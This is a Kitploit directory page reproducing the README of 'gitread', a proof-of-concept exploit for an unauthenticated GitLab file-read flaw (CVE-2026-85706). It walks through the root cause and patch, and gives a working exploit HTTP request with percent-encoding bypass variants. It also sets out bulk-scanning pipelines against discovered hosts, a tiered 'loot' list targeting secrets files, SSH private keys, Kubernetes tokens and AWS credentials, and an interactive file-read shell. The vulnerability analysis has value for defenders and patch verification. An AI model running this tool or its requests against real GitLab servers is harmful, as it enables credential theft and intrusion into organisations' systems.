Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
gitread — CVE-2026-85706 · GitLab CE/EE unauthenticated file read · research PoC with oracle mode, fd enumeration, and tiered loot targeting | Kitploit
Tools/GitHubGitHub/plur1bu5/gitread
ReconnaissanceVulnerability AnalysisExploitationScripting & AutomationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration TestingRed Teaming
GitHubplur1bu5/gitread
117h 57m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

gitread

CVE-2026-85706 · GitLab CE/EE unauthenticated file read · research PoC with oracle mode, fd enumeration, and tiered loot targeting

View Repository

gitread

PoC for CVE-2026-85706, an unauthenticated arbitrary file read affecting self-managed GitLab CE/EE.

CVECVE-2026-85706
CVSS10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
Affected18.7 to 19.1.7, 19.2.0 to 19.2.5, 19.3.0 to 19.3.1
Fixed19.1.8 / 19.2.6 / 19.3.2 (released 2026-09-10)
ComponentRepository Commits API / Files API (Workhorse body-upload)
Reporters3ntago via GitLab HackerOne

How it works

Three repository API endpoints sit behind Workhorse's requestBodyUploader:

root@kitploit:~
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT  /api/v4/projects/:id/repository/files/:file_path

The Rails handler calls File.open(params['file.path']) before authenticate!. Four conditions make this exploitable:

1. Auth fires after the file read. require_gitlab_workhorse! only checks the Gitlab-Workhorse-Api-Request JWT header. Workhorse stamps that header on every request it proxies, including plain passthroughs. The real authenticate! lives inside authorize_push_to_branch!, which runs after file_params_from_body_upload has already read the file off disk.

2. file.path comes straight from the request. file_params_from_body_upload reads params['file.path'] as an absolute path with no validation. In the intended flow Workhorse writes the upload to a temp file and injects that param itself. An attacker just sends it directly as a query string parameter pointing anywhere on the filesystem.

3. Workhorse route matching never decodes percent-encoding. Workhorse matches upload routes against EscapedPath(), the raw URL bytes as received. Puma decodes %XX sequences before routing to Grape. So encoding one character in a static segment causes Workhorse to skip its rewrite rule while Rails still routes to the vulnerable handler:

root@kitploit:~
POST /api/v4/projects/1/repository/commits/      (trailing slash)
POST /api/v4/projects/1/repository/%63ommits     (c -> %63)
POST /api/v4/projects/1/%72epository/commits     (r -> %72)
POST /api/v4/projects/1/repository/commits.json  (Grape format suffix)

4. Rack echoes the file content back in the error response. With Content-Type: application/x-www-form-urlencoded, the file content is handed to Rack::Utils.parse_nested_query. Any bare % not followed by two hex digits raises InvalidParameterError: invalid %-encoding (<content>). Everything up to the first & in the file gets echoed in the 400 body.

Files with no bare % are still read pre-auth. The 401 response from the urlencoded branch and a 500 from the multipart branch both confirm the file exists and is readable by the git user, making them useful as an existence oracle.

Exploit request:

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded

Features

  • --file reads any single file; falls through to the oracle automatically if there is no echo trigger
  • --loot runs 36 targets across 7 tiers, ordered by confirmed echo-trigger probability
  • --oracle runs a dual-branch probe (urlencoded + multipart) against no-echo files and tells you whether each one is readable, missing, or unreadable
  • --proc enumerates /proc/self/fd/0-31 to find open file descriptors, then reads standard /proc recon targets
  • --shell drops into an interactive file-read shell with cat, loot, oracle, project, and curl commands
  • --pipe reads targets from stdin and handles subfinder output, httpx text, httpx JSON, nuclei JSON, and raw host lines

Install

root@kitploit:~
pip install requests
python3 gitread.py -h

Requires Python 3.10 or newer. No other dependencies.

Usage

Single target

root@kitploit:~
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080

Pipeline

root@kitploit:~
subfinder -d corp.com -silent \
  | httpx -silent -sc -td \
  | python3 gitread.py --pipe --loot -o hits.jsonl

subfinder -d corp.com -silent \
  | httpx -silent -json \
  | python3 gitread.py --pipe --loot -q -o hits.jsonl

python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl

cat hosts.txt | python3 gitread.py --loot

stdin is detected automatically when it is not a TTY, so --pipe is optional in most cases.

Shell

root@kitploit:~
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit

Response verdicts

Loot tiers

Flags

Exit codes: 0 leak confirmed, 1 oracle only or no leaks in pipeline, 2 nothing found.

Patch

Fixed in master commit 0d9ce3e7, backported as 1fe30154 / b43c8b26 / 0ff7b6b2.

Three things were changed at the same time:

  1. authenticate! was moved before file_params_from_body_upload in all three endpoints so the file is never read for an unauthenticated request
  2. file.path is now only accepted from a typed UploadedFile object produced by the multipart middleware, which requires a valid Workhorse-signed JWT, not from a raw query string parameter
  3. InvalidParameterError no longer interpolates e.message into the response body so the echo channel is closed even if someone found a way past the first two fixes

The bug was introduced in GitLab 18.7 (December 2025) when the body-upload variant of the commits API was added.


made with love by @plur1bu5 -- if you find it useful, a star is appreciated

Download Tool
  • --list takes a file of targets one per line
  • --threads for concurrent bulk scanning
  • --proxy routes everything through Burp or mitmproxy
  • --raw writes raw bytes to stdout with no decoration, useful for piping to a file
  • --full runs loot, oracle, and proc in one pass
  • JSON and JSONL report output via -o
  • GitLab version fingerprint with affected-range check
  • Windows terminal colour support
  • VerdictMeaning
    leakFile content echoed in the 400 body, confirmed read
    leak-fragPartial echo via parameter type error
    read-noechoFile was read pre-auth but has no bare % so nothing echoed
    READABLEMultipart branch returned 500, file exists and is readable by the git user
    missingServer said local file not present
    rewriteWorkhorse rewrote the body, this bypass form is dead
    norouteRails 404, instance is patched or the path is wrong
    server-error500, file exists but caused a parse error
    TierFilesEcho
    1gitlab.rb, gitlab.yml, redis.confContent leaks directly
    2gitlab-secrets.json, secrets.yml, database.ymlOracle only, pure hex
    3.gitlab_workhorse_secretOracle only
    4SSH private keys and authorized_keysOracle only
    5gitlab-shell.yml, gitaly.toml, PostgreSQL configOracle only
    6Kubernetes service account token, AWS credentialsOracle only
    7Hostname, hosts, passwd, os-release, environOracle only
    FlagDescription
    -t, -u, --targetSingle base URL
    --pipeRead targets from stdin
    --list FILEFile of targets
    --file PATHSingle absolute path to read
    --lootFull 36-target loot run
    --oracleDual-branch probe of no-echo files
    --proc/proc fd enumeration and recon
    --shellInteractive shell after scan
    --fullloot + oracle + proc
    --project-id IDForce a project id instead of auto-detecting
    --forceScan even if the target does not fingerprint as GitLab
    --rawWrite raw bytes to stdout, no decoration
    --proxy URLHTTP/S proxy
    --threads NWorker threads for pipeline mode (default 8)
    --timeout NPer-request timeout in seconds (default 15)
    -o FILESave report (.json for pretty array, anything else for JSONL)
    -q, --quietPrint hits only
    -v, --verboseShow every probe attempt
    --no-bannerSuppress the banner